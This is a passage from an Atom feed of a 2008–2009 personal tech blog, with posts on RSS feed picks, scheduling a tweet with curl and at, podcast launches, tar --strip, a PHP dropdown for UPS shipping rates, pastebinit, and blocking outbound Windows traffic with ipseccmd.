&lt;li&gt;&lt;a href=&#34;http://ubuntulinuxhelp.com/feed&#34;&gt;Ubuntu Linux Help&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://sysv.homeip.net/bblog/index.xml&#34;&gt;Werner&amp;rsquo;s Linux Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.montanalinux.org/rss.xml&#34;&gt;MontanaLinux.org&lt;/a&gt; - If you live in Montana definitely consider subscribing to this feed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;General Tech&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.gawker.com/lifehacker/full&#34;&gt;Lifehacker&lt;/a&gt; - Who doesn&amp;rsquo;t love lifehacker?  My only complaint is that this feed can be overwhelming. (20+ a day)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.ghacks.net/feed&#34;&gt;gHacks technology news&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://google-opensource.blogspot.com/atom.xml&#34;&gt;Google Open Source Blog&lt;/a&gt; - I love open source.  I love google.  I love this feed.&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://yatsite.blogspot.com/feeds/posts/default&#34;&gt;Yet Another Technology Site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.pureroon.co.uk/feed&#34;&gt;PureRoon.co.uk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.walkernews.net/feed&#34;&gt;Walker News&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Gaming&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.montanafragfest.com/feed&#34;&gt;Montana Fragfest&lt;/a&gt; - &lt;a href=&#34;htp://jaderobbins.com&#34;&gt;Jade Robbins&lt;/a&gt; runs this gaming site that is primarily for Montana residents but everyone is welcomed.  If you play Team Fortress 2 we play every Monday and Thursday night.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Non Tech&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.montanamushrooms.com/?feed=rss2&#34;&gt;Montana Mushrooms&lt;/a&gt; - The best damn mushroom blog in town.  Seriously, if you think mushrooms are those little white things you buy in the store check this site out.  The world of mushrooms is so much more.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Web Development&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.feedburner.com/nettuts&#34;&gt;NETTUTS - Web development tutorials and links&lt;/a&gt; - Great in-depth articles on technology.  I mainly use this feed to check what current web development trends are popular.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds2.feedburner.com/Bludice&#34;&gt;David Walsh Blog&lt;/a&gt; - A Mootools evangelist and web developer.  I have guest posted on David&amp;rsquo;s blog and also &lt;a href=&#34;http://faceoffshow.com/2009/06/30/episode-23-david-walsh/&#34;&gt;interviewed David&lt;/a&gt; on &lt;a href=&#34;http://faceoffshow.com&#34;&gt;Faceoff show&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds2.feedburner.com/CssTricks&#34;&gt;CSS-Tricks&lt;/a&gt; - An awesome resource for CSS and general web development articles and screencasts.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Security&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds2.feedburner.com/schneier/fulltext&#34;&gt;Schneier on Security&lt;/a&gt; - An author of many crypto books and creator of the two fish and blow fish crypto algorithms.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.securityfocus.com/rss/vulnerabilities.xml&#34;&gt;SecurityFocus Vulnerabilities&lt;/a&gt; - A very verbose security vulnerability alert service.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Business and Marketing&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds2.feedburner.com/typepad/sethsmainblog&#34;&gt;Seth&amp;rsquo;s Blog&lt;/a&gt; - An amazing resource for marketing advice and theory.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.feedburner.com/ProbloggerHelpingBloggersEarnMoney&#34;&gt;ProBlogger Blog Tips&lt;/a&gt; - The pro of blogging.  Problogger, Darren Rowse.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Web Apps&lt;/h2&gt;

&lt;p&gt;I scan through these daily and pick only the best web apps that I can find.  I then talk about these on our podcast: &lt;a href=&#34;http://faceoffshow.com/&#34;&gt;Faceoff Show&lt;/a&gt;.  I highly recommend that you just subscribe to the podcast so you can skip the useless web apps and get detailed reviews of the good ones.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds2.feedburner.com/usefultoolsfeed&#34;&gt;Useful Tools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://news.cnet.com/8300-17939_109-2.xml&#34;&gt;Webware.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.feedburner.com/MoMB&#34;&gt;MoMB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Work&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.feedburner.com/Workawesome&#34;&gt;WorkAwesome&lt;/a&gt; - From the creator of &lt;a href=&#34;http://nettuts.com&#34;&gt;Nettuts&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Check personal feeds to make sure they work&lt;/h2&gt;

&lt;p&gt;These are feeds that I have subscribed to only to make sure they are working.  Most of these are sites/projects that I contribute to.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.feedburner.com/Nixtutor&#34;&gt;NixTutor&lt;/a&gt; - My blog about Linux&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds2.feedburner.com/faceoffshow&#34;&gt;Faceoff Show&lt;/a&gt; - A podcast I co-host about web apps, programming, and entrepreneurship.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://code.google.com/feeds/p/ups-php/issueupdates/basic&#34;&gt;Issue updates for project ups-php on Google Code&lt;/a&gt; - An open source project regarding UPS shipping.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;What else?&lt;/h2&gt;

&lt;p&gt;Did I miss something?  Based on my feeds can you recommend a good feed I should subscribe to?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Schedule a Tweet with One Comnand in Linux</title>
		<link href="https://www.marksanborn.net/howto/schedule-a-tweet-with-one-comnand-in-linux/index.html" />
		<updated>2009-03-09T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/schedule-a-tweet-with-one-comnand-in-linux/index.html</id>
		<content type="html">&lt;p&gt;Ever want to schedule a tweet to go out at the same time an article is published or an event is started?  Want to do it without signing up to a service or some other complicated task?  Well this post is for you.  I am going to show you how to schedule a tweet from the command line in one line of code.  You can &lt;strong&gt;schedule the tweet to take place ten minutes from now, 14 days, or whenever you wish&lt;/strong&gt;.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Twitter allows programmers and developers to interact with its service using its API.  By sending small bits of XML code or POST data we can send updates or get our friend&amp;rsquo;s feeds.  Fortunately Linux has some tools available to it that make this job easy.&lt;/p&gt;

&lt;p&gt;To send a tweet from the Linux console all you have to do is send a small snippit of code through &lt;strong&gt;curl&lt;/strong&gt; like:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl -u email:password -d status=&amp;quot;What is everyone&#39;s plan this weekend?&amp;quot; http://twitter.com/statuses/update.xml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To make it automated one time we use the &amp;lsquo;&lt;strong&gt;at&lt;/strong&gt;&amp;rsquo; command.&lt;/p&gt;

&lt;p&gt;Suppose we want to issue a tweet out tomorrow morning at 5:00am when our post is released.  To do this we would issue the following command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;at 5am tomorrow&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;At this point you will be prompted with the &lt;strong&gt;at&lt;/strong&gt; console.  This is so you can execute multi-line commands.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2009/03/at-terminal.jpg&#34; alt=&#34;at-terminal&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Type the following replacing &lt;strong&gt;email&lt;/strong&gt; and &lt;strong&gt;password&lt;/strong&gt; with your own.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl -u email:password -d status=&amp;quot;What is everyone&#39;s plan this weekend?&amp;quot; http://twitter.com/statuses/update.xml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then hit enter.  To tell &lt;strong&gt;at&lt;/strong&gt; that you are now finished writing commands do, &lt;strong&gt;ctrl+d&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;To see the current queue just type:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;atq&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you made a mistake you can remove a task by id:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;atrm 6&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Two New Projects Launched: NixTutor and Faceoff Podcast</title>
		<link href="https://www.marksanborn.net/miscellaneous/two-new-projects-launched-nixtutor-and-faceoff-podcast/index.html" />
		<updated>2009-02-09T00:00:00Z</updated>
		<id>https://www.marksanborn.net/miscellaneous/two-new-projects-launched-nixtutor-and-faceoff-podcast/index.html</id>
		<content type="html">&lt;p&gt;As you may have noticed posts have slowed a little here on MarkSanborn.net.  This is due to my involvement in two new projects.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;NixTutor&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;http://www.nixtutor.com&#34;&gt;NixTutor&lt;/a&gt; is a new blog/tutorial site that I created to cater to those that love and use unix like systems.  NixTutor will have full guides and indepth tutorials regarding various unix like topics including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Linux&lt;/li&gt;
&lt;li&gt;FreeBSD&lt;/li&gt;
&lt;li&gt;OpenBSD&lt;/li&gt;
&lt;li&gt;NetBSD&lt;/li&gt;
&lt;li&gt;Solaris&lt;/li&gt;
&lt;li&gt;Open Source Software&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For Nix topics subscribe to the &lt;a href=&#34;http://feeds2.feedburner.com/nixtutor&#34;&gt;NixTutor RSS feed&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Faceoff Podcast&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;http://www.faceoffshow.com&#34;&gt;&lt;img src=&#34;/wp-content/uploads/2009/02/faceofflogo.jpg&#34; alt=&#34;faceoff podcast&#34; /&gt;&lt;/a&gt;The &lt;a href=&#34;http://faceoffshow.com/&#34;&gt;faceoff prodcast&lt;/a&gt; is a new weekly podcast that me and my buddy &lt;a href=&#34;http://www.jaderobbins.com&#34;&gt;Jade Robbins&lt;/a&gt; started that focuses on web technology.&lt;/p&gt;

&lt;p&gt;Some of the topics that we have covered include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Frameworks&lt;/li&gt;
&lt;li&gt;Ruby on Rails&lt;/li&gt;
&lt;li&gt;Zend Framework&lt;/li&gt;
&lt;li&gt;Wordpress 2.7&lt;/li&gt;
&lt;li&gt;Firebug&lt;/li&gt;
&lt;li&gt;Personal Brand Image&lt;/li&gt;
&lt;li&gt;Negative Blog Comments&lt;/li&gt;
&lt;li&gt;Interesting people to follow on Twitter&lt;/li&gt;
&lt;li&gt;Web apps&lt;/li&gt;
&lt;li&gt;Music while programing&lt;/li&gt;
&lt;li&gt;ups-php&lt;/li&gt;
&lt;li&gt;ie7-js&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To subscribe to the itunes compatible feed &lt;a href=&#34;http://faceoffshow.com/feed/podcast&#34;&gt;click here&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;How about MarkSanborn.net?&lt;/h3&gt;

&lt;p&gt;This site will remain up and I will continue as usual to post on various technology topics; however, expect to see less Linux related posts as they will most likely make their way over to the new &lt;a href=&#34;http://www.nixtutor.com&#34;&gt;NixTutor&lt;/a&gt; site.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Faceoff: Episode 2</title>
		<link href="https://www.marksanborn.net/miscellaneous/faceoff-episode-2/index.html" />
		<updated>2009-02-03T00:00:00Z</updated>
		<id>https://www.marksanborn.net/miscellaneous/faceoff-episode-2/index.html</id>
		<content type="html">&lt;p&gt;Well we decided that podcasting was fun and many of our listeners enjoyed it so we continuing with the project.&lt;/p&gt;

&lt;p&gt;We opened a website up at &lt;a href=&#34;http://www.faceoffshow.com&#34;&gt;faceoffshow.com&lt;/a&gt; Although the site is not quite up yet, expect a full feature site with proper itunes compatible feeds soon!&lt;/p&gt;

&lt;p&gt;In the mean time you can download the podcast directly from here:&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Episode 2:&lt;/p&gt;

&lt;p&gt;Topics include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Technology people to follow on Twitter&lt;/li&gt;
&lt;li&gt;Web apps&lt;/li&gt;
&lt;li&gt;Music while programing&lt;/li&gt;
&lt;li&gt;ie7-js&lt;/li&gt;
&lt;li&gt;ups-php&lt;/li&gt;
&lt;li&gt;Desktop virtualization&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;http://www.faceoffshow.com/audio/Faceoff-002-FavoriteWebapps.mp3&#34;&gt;Faceoff-002-FavoriteWebapps.mp3&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;Show Notes:&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Gary Vaynerchuck&lt;a href=&#34;http://www.twitter.com/garyvee&#34;&gt;twitter.com/garyvee&lt;/a&gt; &lt;a href=&#34;http://www.garyvaynerchuk.com&#34;&gt;garyvaynerchuk.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Matt Cutts - &lt;a href=&#34;http://www.twitter.com/mattcutts&#34;&gt;twitter.com/mattcutts&lt;/a&gt; &lt;a href=&#34;http://www.mattcutts.com/blog&#34;&gt;mattcutts.com/blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://code.google.com/p/ie7-js/&#34;&gt;IE 7 JS plugin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Faceoff: A New Podcast by Mark Sanborn and Jade Robbins</title>
		<link href="https://www.marksanborn.net/uncategorized/faceoff-a-new-podcast-by-mark-sanborn-and-jade-robbins/index.html" />
		<updated>2009-01-27T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/faceoff-a-new-podcast-by-mark-sanborn-and-jade-robbins/index.html</id>
		<content type="html">&lt;p&gt;This is the first episode of our new podcast called, Face Off.&lt;/p&gt;

&lt;p&gt;This was our first recording of any kind ever.  Since this is our first podcast it is very amateur.  There are times in the podcast where there is light swearing.  The first recording was also not structured and was never really meant to be a podcast until we were done and had over an hour worth of material we wanted to share, so, please bare with us.  We promise to have a more structured show for episode two.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;If this is something you would like to see more of please let us know either by leaving a comment below or sending me or &lt;a href=&#34;http://jaderobbins.com&#34;&gt;Jade Robbins&lt;/a&gt; an email.&lt;/p&gt;

&lt;p&gt;Episode 1: 56:30&lt;/p&gt;

&lt;p&gt;Topics include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Frameworks&lt;/li&gt;
&lt;li&gt;Ruby on Rails&lt;/li&gt;
&lt;li&gt;Zend Framework&lt;/li&gt;
&lt;li&gt;Wordpress 2.7&lt;/li&gt;
&lt;li&gt;Firebug&lt;/li&gt;
&lt;li&gt;Personal Brand Image&lt;/li&gt;
&lt;li&gt;Negative Blog Comments&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without further ado&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://faceoffshow.com/audio/Faceoff-001-Frameworks.mp3&#34;&gt;Faceoff-001-Frameworks.mp3&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You can listen to &lt;a href=&#34;/miscellaneous/faceoff-episode-2/&#34;&gt;Episode 2&lt;/a&gt; when you are done with this one.&lt;/strong&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Extract without First Directory</title>
		<link href="https://www.marksanborn.net/linux/extract-without-first-directory/index.html" />
		<updated>2009-01-06T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/extract-without-first-directory/index.html</id>
		<content type="html">&lt;p&gt;Whenever I download something that is compressed on the Internet in a .zip, .rar or .tar.gz it is always a crapshot whether or not it contains a &amp;ldquo;container directory&amp;rdquo;.  A &amp;ldquo;container directory&amp;rdquo; is a directory that contains all the other files usually with the same name as the compressed file.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;For example the Zend Framework when downloaded contains a folder called, &amp;lsquo;&lt;strong&gt;ZendFramework-1.7.2&lt;/strong&gt;&amp;rsquo;.  All the other files are contained under this folder.  This is great but sometimes I want to extract the contents of the folder without the &amp;ldquo;container folder&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;This is how I used to extract the contents and remove the &amp;ldquo;container folder&amp;rdquo;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;tar -xvf ZendFramework-1.7.2.tar.gz&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Get rid of the tarball&amp;hellip;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;rm ZendFramework-1.7.2.tar.gz&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd ZendFramework-1.7.2/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Which would result in:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2009/01/tarlist.png&#34; alt=&#34;Zend Framework Directory Structure&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Copy everything in the &amp;ldquo;container&amp;rdquo; folder and move it up a directory.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cp -rf * ../&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now I have found a better way&amp;hellip;&lt;/p&gt;

&lt;h3&gt;A better way&lt;/h3&gt;

&lt;p&gt;The flag that I have learned is the strip flag.  This will strip off the first directory and extract the rest.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;tar -xvf ZendFramework-1.7.2.tar.gz --strip 1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The only thing now is&amp;hellip; How do I tell if a tar contains a &amp;ldquo;container folder&amp;rdquo;?&lt;/p&gt;

&lt;p&gt;Easy&lt;/p&gt;

&lt;p&gt;&lt;code&gt;tar -tf ZendFramework-1.7.2.tar.gz | head&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will list contents of the file &amp;lsquo;&lt;strong&gt;ZendFramework-1.7.2.tar.gz&lt;/strong&gt;&amp;rsquo; showing only the first few lines.&lt;/p&gt;

&lt;p&gt;What do you think? Is there an even better way?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Mastering the UPS Shipping API: Rate Shopping Dropdown</title>
		<link href="https://www.marksanborn.net/uncategorized/mastering-the-ups-shipping-api-rate-shopping-dropdown/index.html" />
		<updated>2008-12-19T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/mastering-the-ups-shipping-api-rate-shopping-dropdown/index.html</id>
		<content type="html">&lt;p&gt;One of the first parts of the checkout process of any ecommerce site is to provide the customer with a dropdown box with shipping options.  In this tutorial we are going to shop for various UPS rates and display them in a convenient drop down.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;If you are new to the UPS API first read this article, &lt;a href=&#34;https://www.marksanborn.net/howto/mastering-the-ups-shipping-api-getting-started/&#34;&gt;Mastering the UPS Shipping API: Getting Started&lt;/a&gt;.  You will need to have access to UPS&amp;rsquo;s online web tools.  You can register &lt;a href=&#34;https://www.ups.com/servlet/registration?loc=en_US&amp;amp;returnto=http%3A%2F%2Fwww.ups.com%2Fe_comm_access%2FlaServ%3Floc%3Den_US&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Getting ups-php&lt;/h3&gt;

&lt;p&gt;The first step is to go and get &lt;a href=&#34;http://code.google.com/p/ups-php&#34;&gt;ups-php&lt;/a&gt;.  For this guide we will use the latest code by downloading it with svn.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mkdir ups-php
svn checkout http://ups-php.googlecode.com/svn/trunk/ .&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once downloaded you will notice that there is a folder called &lt;strong&gt;tests&lt;/strong&gt; inside of tests there are &lt;strong&gt;rates&lt;/strong&gt; and &lt;strong&gt;tracking&lt;/strong&gt;.  In &lt;strong&gt;rates&lt;/strong&gt; there is a file called &lt;strong&gt;test_shopRates.php&lt;/strong&gt;.  This file contains a working sample test code.  Simply enter your UPS credentials and hit submit.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.marksanborn.net/wp-content/uploads/2008/12/upsShopTest.png&#34; alt=&#34;ups-php test login&#34; /&gt;&lt;/p&gt;

&lt;p&gt;You will than have a big giant array with tons of information available to us.&lt;/p&gt;

&lt;h3&gt;Getting the correct values&lt;/h3&gt;

&lt;p&gt;With all this information what do we really need to get to the bottom of the line and display a simple dropdown with a couple of shipping options?&lt;/p&gt;

&lt;p&gt;We need the &lt;strong&gt;total charge&lt;/strong&gt; for the package:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.marksanborn.net/wp-content/uploads/2008/12/TotalCharges.png&#34; alt=&#34;total charges&#34; /&gt;&lt;/p&gt;

&lt;p&gt;And the &lt;a href=&#34;https://www.marksanborn.net/php/calculating-ups-shipping-rate-with-php/&#34;&gt;UPS service code&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.marksanborn.net/wp-content/uploads/2008/12/serviceCode.png&#34; alt=&#34;service code&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Now we have the required information.  We know that the &lt;strong&gt;total charge&lt;/strong&gt; for the package is in the hashed array:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$response[&#39;RatingServiceSelectionResponse&#39;][&#39;RatedShipment&#39;][0][&#39;TotalCharges&#39;][&#39;MonetaryValue&#39;][&#39;VALUE&#39;];
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And that the &lt;strong&gt;UPS Service Code&lt;/strong&gt; is in this hashed array:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$response[&#39;RatingServiceSelectionResponse&#39;][&#39;RatedShipment&#39;][0][&#39;Service&#39;][&#39;Code&#39;][&#39;VALUE&#39;];
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Looping through all the available services&lt;/h3&gt;

&lt;p&gt;These values are nice but they only represent one of the available services that UPS offers.  If you notice in the array hash reference above we have a &lt;strong&gt;[0]&lt;/strong&gt; after &lt;strong&gt;[&amp;lsquo;RatedShipment&amp;rsquo;]&lt;/strong&gt;.  This represents the first set in a group of multiple &amp;ldquo;&lt;strong&gt;RatedShipments&lt;/strong&gt;&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;We need to loop through all of them and display them like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$response = $upsRate-&amp;gt;returnResponseArray();

foreach ($response[&#39;RatingServiceSelectionResponse&#39;][&#39;RatedShipment&#39;] as $service) {
    echo $service[&#39;Service&#39;][&#39;Code&#39;][&#39;VALUE&#39;]. &#39;&amp;lt;br /&amp;gt;&#39;;
    echo $service[&#39;TotalCharges&#39;][&#39;MonetaryValue&#39;][&#39;VALUE&#39;]. &#39;&amp;lt;br /&amp;gt;&#39;;
} 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will print out all the UPS Service Codes with the total cost for the service.  All we have to do now is add some HTML and put them in a drop down.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;
&amp;lt;?php $response = $upsRate-&amp;gt;returnResponseArray();

foreach ($response[&#39;RatingServiceSelectionResponse&#39;][&#39;RatedShipment&#39;] as $service) {
    $serviceCode = $service[&#39;Service&#39;][&#39;Code&#39;][&#39;VALUE&#39;];
    $totalCharges = $service[&#39;TotalCharges&#39;][&#39;MonetaryValue&#39;][&#39;VALUE&#39;];

    echo &amp;quot;&amp;lt;option value=\&amp;quot;$serviceCode\&amp;quot;&amp;gt;$serviceCode ($totalCharges)&amp;lt;/option&amp;gt;&amp;quot;;
} 
?&amp;gt;
&amp;lt;/select&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You should end up with something like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.marksanborn.net/wp-content/uploads/2008/12/dropdown.png&#34; alt=&#34;UPS service drop down&#34; /&gt;&lt;/p&gt;

&lt;p&gt;From here all you have to do is convert the service codes to their respective names found in this article, &lt;a href=&#34;https://www.marksanborn.net/php/calculating-ups-shipping-rate-with-php/&#34;&gt;Calculating UPS Shipping Rate with PHP&lt;/a&gt;.  If you get stuck just go back to the example provided with ups-php, &lt;strong&gt;test_rates.php&lt;/strong&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Auto Pastebin with Pastebinit</title>
		<link href="https://www.marksanborn.net/programming/auto-pastebin-with-pastebinit/index.html" />
		<updated>2008-12-05T00:00:00Z</updated>
		<id>https://www.marksanborn.net/programming/auto-pastebin-with-pastebinit/index.html</id>
		<content type="html">&lt;p&gt;If you have ever been in an irc channel or IM and needed to show another programmer your code you have probably used &lt;a href=&#34;http://pastebin.com/&#34;&gt;Pastebin&lt;/a&gt; before or a similar service.  You simply go to the website copy and paste and hit submit and you have a link generated so you can hand it out to your fellow programmer.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;I&amp;rsquo;m always someone that is looking for a faster/better way of doing things and copying, pasting, switching screens, and navigating to a website is a huge waste of time.  With pastebinit I can skip all of that and just type:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pastebinit myclass.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And voila!&lt;/p&gt;

&lt;p&gt;This is handy for me since I always do my development on a Linux machine with a console based text editor.&lt;/p&gt;

&lt;p&gt;For the Debian/Ubuntu lovers you can install by doing:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install pastebinit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For other Linux distributions, you know the routine.&lt;/p&gt;

&lt;p&gt;For you Windows guys get a real operating system or at the very least download &lt;a href=&#34;http://www.chiark.greenend.org.uk/~sgtatham/putty/&#34;&gt;PuTTY&lt;/a&gt; and SSH into a real operating system when developing.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Installing Windows IPsec Firewall</title>
		<link href="https://www.marksanborn.net/howto/installing-windows-ipsec-firewall/index.html" />
		<updated>2008-12-04T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/installing-windows-ipsec-firewall/index.html</id>
		<content type="html">&lt;p&gt;Just recently I found a post that described using the &lt;a href=&#34;http://hinchley.net/2008/08/20/use-ipseccmd-to-block-outbound-traffic-in-windows-xp/&#34;&gt;ipseccmd&lt;/a&gt; in Windows.  I honestly had no idea that this tool existed for Windows.  I found this article while searching for a way to block outgoing traffic on the local computer as apposed to making firewall policies.  This was the perfect solution for network testing, forcing productivity, optimization and security in Windows.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;To get the firewall for Windows you will need to download, &lt;a href=&#34;http://www.microsoft.com/downloads/details.aspx?FamilyID=49ae8576-9bb9-4126-9761-ba8011fabf38&amp;amp;displaylang=en&#34;&gt;Windows Support Tools&lt;/a&gt;.  When installing make sure you select the &lt;strong&gt;complete&lt;/strong&gt; option.&lt;/p&gt;

&lt;h3&gt;Security and Optimization&lt;/h3&gt;

&lt;p&gt;In the firewall world security and optimziation goes hand in hand.  Spyware applications will absolutely eat a computer alive with useless communication and sneaky transfers.  Turning off ports provides extra security and blocks these applications from communicating thus making your internet faster and reducing ping latency.  In many games latency is the difference between life and death, especially in first person shooters.  While playing these games you cannot afford to have other programs transferring data.&lt;/p&gt;

&lt;p&gt;It is not always spyware causing problems, sometimes it is legitimate traffic simply running at the wrong times.   Windows will decide to do an automatic update (if you have it turned on), or other applications you may installed might hog your bandwidth and sky rocket your ping times.  With IPsec you can turn everything off except the game.&lt;/p&gt;

&lt;h3&gt;Disabling internet service&lt;/h3&gt;

&lt;p&gt;The following command will disable all outgoing traffic:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd &amp;quot;c:\Program Files/Support Tools&amp;quot;
ipseccmd -f [0=*:*:*]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once everything is disabled you will want to allow outgoing traffic for your game.  Simply add the port to the allow list like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ipseccmd -f (0=*:27016:TCP)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you look up games by hostname/dns you will need to open up port 53 UDP as well.&lt;/p&gt;

&lt;h3&gt;Forcing Productivity&lt;/h3&gt;

&lt;p&gt;Maybe you just want to be more productive and don&amp;rsquo;t want to be distracted by IMs and the temptation to check your email.  You can disable all traffic except SSH traffic port 22 for web development like this:&lt;/p&gt;

